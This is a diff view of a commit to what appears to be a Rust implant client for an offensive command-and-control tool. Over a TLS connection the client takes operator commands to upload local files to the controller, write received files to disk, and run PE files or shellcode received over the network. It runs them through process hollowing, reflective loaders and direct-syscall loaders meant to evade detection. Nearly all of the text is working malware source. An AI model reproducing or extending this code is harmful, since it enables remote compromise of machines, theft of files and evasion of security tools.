@@ -3,6 +3,7 @@ use crate::loader::{reflective_loader, remote_loader, shellcode_loader};
3
3
use crate :: loader_syscalls:: {
4
4
reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls,
5
5
} ;
6
+ use crate :: utils:: tools:: { read_and_send_file, receive_and_write_bytes} ;
6
7
7
8
use std:: error:: Error ;
8
9
use std:: fs:: File ;
@@ -28,7 +29,30 @@ fn do_stuff(cmd: &str) -> Vec<u8> {
28
29
}
29
30
}
30
31
31
- fn call_loader ( file_to_load : & str , pe_to_exec : & str , loader : u8 ) -> Result < ( ) , Box < dyn Error > > {
32
+ fn call_loader_shellcode (
33
+ shellcode_to_load : Vec < u8 > ,
34
+ pe_to_exec : & str ,
35
+ loader : u8 ,
36
+ ) -> Result < ( ) , Box < dyn Error > > {
37
+ match loader {
38
+ 0 => match shellcode_loader_syscalls ( shellcode_to_load, pe_to_exec) {
39
+ Ok ( rl) => rl,
40
+ Err ( _) => {
41
+ return Err ( "Shellcode loading error" . into ( ) ) ;
42
+ }
43
+ } ,
44
+ 1 => match shellcode_loader ( shellcode_to_load, pe_to_exec) {
45
+ Ok ( rl) => rl,
46
+ Err ( _) => {
47
+ return Err ( "Shellcode loading error" . into ( ) ) ;
48
+ }
49
+ } ,
50
+ _ => log:: debug!( "Invalid loader ID" ) ,
51
+ }
52
+ Ok ( ( ) )
53
+ }
54
+
55
+ fn call_loader_pe ( file_to_load : & str , pe_to_exec : & str , loader : u8 ) -> Result < ( ) , Box < dyn Error > > {
32
56
let mut buf: Vec < u8 > = Vec :: new ( ) ;
33
57
let file = File :: open ( file_to_load. trim ( ) . replace ( "\\ \\ " , "\\ " ) ) ;
34
58
match file {
@@ -41,31 +65,19 @@ fn call_loader(file_to_load: &str, pe_to_exec: &str, loader: u8) -> Result<(), B
41
65
return Err ( "PE loading error" . into ( ) ) ;
42
66
}
43
67
} ,
44
- 1 => match shellcode_loader ( buf, pe_to_exec) {
45
- Ok ( rl) => rl,
46
- Err ( _) => {
47
- return Err ( "Shellcode loading error" . into ( ) ) ;
48
- }
49
- } ,
50
- 2 => match remote_loader_syscalls ( buf, pe_to_exec) {
68
+ 1 => match remote_loader_syscalls ( buf, pe_to_exec) {
51
69
Ok ( rl) => rl,
52
70
Err ( _) => {
53
71
return Err ( "PE loading error" . into ( ) ) ;
54
72
}
55
73
} ,
56
- 3 => match shellcode_loader_syscalls ( buf, pe_to_exec) {
57
- Ok ( rl) => rl,
58
- Err ( _) => {
59
- return Err ( "Shellcode loading error" . into ( ) ) ;
60
- }
61
- } ,
62
- 4 => match reflective_loader ( buf) {
74
+ 2 => match reflective_loader ( buf) {
63
75
Ok ( rl) => rl,
64
76
Err ( _) => {
65
77
return Err ( "PE loading error" . into ( ) ) ;
66
78
}
67
79
} ,
68
- 5 => match reflective_loader_syscalls ( buf) {
80
+ 3 => match reflective_loader_syscalls ( buf) {
69
81
Ok ( rl) => rl,
70
82
Err ( _) => {
71
83
return Err ( "PE loading error" . into ( ) ) ;
@@ -142,19 +154,14 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
142
154
let cmd = tmp + String :: from_utf8_lossy ( & buff[ ..bytes_read] ) . trim_end_matches ( '\0' ) ;
143
155
let path: Vec < & str > = cmd. split ( " " ) . collect ( ) ;
144
156
match File :: open ( path[ 1 ] ) {
145
- Ok ( mut file) => {
146
- let mut file_buffer = [ 0 ; 4096 ] ;
147
- loop {
148
- let bytes_read = file. read ( & mut file_buffer) ?;
149
- if bytes_read == 0 {
150
- let end_of_file =
151
- "EndOfTheFile:" . to_owned ( ) + & file. metadata ( ) ?. len ( ) . to_string ( ) ;
152
- tls_stream. write_all ( end_of_file. as_bytes ( ) ) ?;
153
- break ;
154
- }
155
- tls_stream. write_all ( & file_buffer[ ..bytes_read] ) ?;
157
+ Ok ( file) => match read_and_send_file ( file, & mut tls_stream) {
158
+ Ok ( _) => ( ) ,
159
+ Err ( r) => {
160
+ log:: error!( "Error during upload : {}" , r) ;
161
+ tls_stream. flush ( ) . unwrap ( ) ;
162
+ continue ;
156
163
}
157
- }
164
+ } ,
158
165
Err ( r) => {
159
166
tls_stream. write ( r. to_string ( ) . as_bytes ( ) ) ?;
160
167
tls_stream. write_all ( "EndOfTheFile" . as_bytes ( ) ) ?;
@@ -171,37 +178,20 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
171
178
Ok ( mut file) => {
172
179
tls_stream. write ( "Creation OK" . as_bytes ( ) ) ?;
173
180
let mut file_buffer = [ 0 ; 4096 ] ;
181
+ let mut file_vec: Vec < u8 > = Vec :: new ( ) ;
174
182
match tls_stream. read ( & mut file_buffer) {
175
- Ok ( _) => loop {
176
- if String :: from_utf8_lossy ( & file_buffer) . starts_with ( "EndOfTheFile" ) {
177
- // Drop all the ending null bytes added by the buffer
178
- let file_len_string = String :: from_utf8_lossy ( & file_buffer)
179
- . splitn ( 2 , ':' )
180
- . nth ( 1 )
181
- . unwrap_or ( "0" )
182
- . trim_end_matches ( '\0' )
183
- . to_owned ( ) ;
184
- let file_len_u64 = file_len_string. parse :: < u64 > ( ) ;
185
- match file. set_len ( file_len_u64. unwrap ( ) ) {
186
- Ok ( _) => ( ) ,
187
- Err ( r) => {
188
- log:: debug!( "Error dropping the null bytes at the end of the file : {}" , r) ;
189
- continue ;
190
- }
191
- }
192
- break ;
193
- } else {
194
- file. write ( & file_buffer) ?;
195
- file_buffer = [ 0 ; 4096 ] ;
196
- tls_stream. read ( & mut file_buffer) ?;
197
- }
198
- } ,
183
+ Ok ( _) => receive_and_write_bytes (
184
+ & mut tls_stream,
185
+ & mut file_vec,
186
+ & mut file_buffer,
187
+ ) ?,
199
188
Err ( r) => {
200
189
log:: debug!( "Reading error : {}" , r) ;
201
190
tls_stream. flush ( ) ?;
202
191
continue ;
203
192
}
204
193
}
194
+ file. write ( & file_vec) ?;
205
195
}
206
196
Err ( r) => {
207
197
log:: debug!( "File creation error : {}" , r) ;
@@ -216,10 +206,10 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
216
206
. starts_with ( "load -h" )
217
207
|| String :: from_utf8_lossy ( & buff)
218
208
. trim_end_matches ( '\0' )
219
- . starts_with ( "load -s " )
209
+ . starts_with ( "syscalls -h " )
220
210
|| String :: from_utf8_lossy ( & buff)
221
211
. trim_end_matches ( '\0' )
222
- . starts_with ( "syscalls -h " )
212
+ . starts_with ( "load -s " )
223
213
|| String :: from_utf8_lossy ( & buff)
224
214
. trim_end_matches ( '\0' )
225
215
. starts_with ( "syscalls -s" )
@@ -233,55 +223,61 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
233
223
. starts_with ( "load -h" )
234
224
{
235
225
tls_stream. write ( "Invalid argument number. Usage is : load -h C:\\ path\\ to\\ PE_to_load C:\\ path\\ to\\ PE_to_hollow\0 " . as_bytes ( ) ) ?;
236
- } else if String :: from_utf8_lossy ( & buff)
237
- . trim_end_matches ( '\0' )
238
- . starts_with ( "load -s" )
239
- {
240
- tls_stream. write ( "Invalid argument number. Usage is : load -s C:\\ path\\ to\\ shellcode.bin C:\\ path\\ to\\ PE_to_execute\0 " . as_bytes ( ) ) ?;
241
226
} else if String :: from_utf8_lossy ( & buff)
242
227
. trim_end_matches ( '\0' )
243
228
. starts_with ( "syscalls -h" )
244
229
{
245
230
tls_stream. write ( "Invalid argument number. Usage is : syscalls -h C:\\ path\\ to\\ PE_to_load C:\\ path\\ to\\ PE_to_hollow\0 " . as_bytes ( ) ) ?;
246
- } else {
247
- tls_stream. write ( "Invalid argument number. Usage is : syscalls -s C:\\ path\\ to\\ shellcode.bin C:\\ path\\ to\\ PE_to_execute\0 " . as_bytes ( ) ) ?;
248
231
}
249
232
} else {
250
233
let load_ret: Result < ( ) , Box < dyn Error > > ;
251
234
if String :: from_utf8_lossy ( & buff)
252
235
. trim_end_matches ( '\0' )
253
236
. starts_with ( "load -h" )
254
237
{
255
- load_ret = call_loader (
238
+ load_ret = call_loader_pe (
256
239
path[ 2 ] . trim_end_matches ( '\0' ) ,
257
240
path[ 3 ] . trim_end_matches ( '\0' ) ,
258
241
0 ,
259
242
) ;
260
- } else if String :: from_utf8_lossy ( & buff)
261
- . trim_end_matches ( '\0' )
262
- . starts_with ( "load -s" )
263
- {
264
- load_ret = call_loader (
265
- path[ 2 ] . trim_end_matches ( '\0' ) ,
266
- path[ 3 ] . trim_end_matches ( '\0' ) ,
267
- 1 ,
268
- ) ;
269
243
} else if String :: from_utf8_lossy ( & buff)
270
244
. trim_end_matches ( '\0' )
271
245
. starts_with ( "syscalls -h" )
272
246
{
273
- load_ret = call_loader (
247
+ load_ret = call_loader_pe (
274
248
path[ 2 ] . trim_end_matches ( '\0' ) ,
275
249
path[ 3 ] . trim_end_matches ( '\0' ) ,
276
- 2 ,
250
+ 1 ,
277
251
) ;
278
252
} else {
279
- load_ret = call_loader (
280
- path[ 2 ] . trim_end_matches ( '\0' ) ,
281
- path[ 3 ] . trim_end_matches ( '\0' ) ,
282
- 3 ,
283
- ) ;
253
+ let mut shellcode_buffer = [ 0 ; 4096 ] ;
254
+ let mut shellcode_vec: Vec < u8 > = Vec :: new ( ) ;
255
+ match tls_stream. read ( & mut shellcode_buffer) {
256
+ Ok ( _) => {
257
+ receive_and_write_bytes (
258
+ & mut tls_stream,
259
+ & mut shellcode_vec,
260
+ & mut shellcode_buffer,
261
+ ) ?;
262
+ }
263
+ Err ( r) => {
264
+ log:: debug!( "Reading error : {}" , r) ;
265
+ tls_stream. flush ( ) ?;
266
+ continue ;
267
+ }
268
+ }
269
+ if String :: from_utf8_lossy ( & buff)
270
+ . trim_end_matches ( '\0' )
271
+ . starts_with ( "load -s" )
272
+ {
273
+ load_ret =
274
+ call_loader_shellcode ( shellcode_vec, path[ 3 ] . trim_end_matches ( '\0' ) , 0 ) ;
275
+ } else {
276
+ load_ret =
277
+ call_loader_shellcode ( shellcode_vec, path[ 3 ] . trim_end_matches ( '\0' ) , 1 ) ;
278
+ }
284
279
}
280
+
285
281
match load_ret {
286
282
Ok ( ( ) ) => {
287
283
tls_stream. write ( "\0 " . as_bytes ( ) ) ?;
@@ -322,9 +318,9 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
322
318
. trim_end_matches ( '\0' )
323
319
. starts_with ( "load" )
324
320
{
325
- load_ret = call_loader ( path[ 1 ] . trim_end_matches ( '\0' ) , "" , 4 ) ;
321
+ load_ret = call_loader_pe ( path[ 1 ] . trim_end_matches ( '\0' ) , "" , 2 ) ;
326
322
} else {
327
- load_ret = call_loader ( path[ 1 ] . trim_end_matches ( '\0' ) , "" , 5 ) ;
323
+ load_ret = call_loader_pe ( path[ 1 ] . trim_end_matches ( '\0' ) , "" , 3 ) ;
328
324
}
329
325
match load_ret {
330
326
Ok ( ( ) ) => {
0 commit comments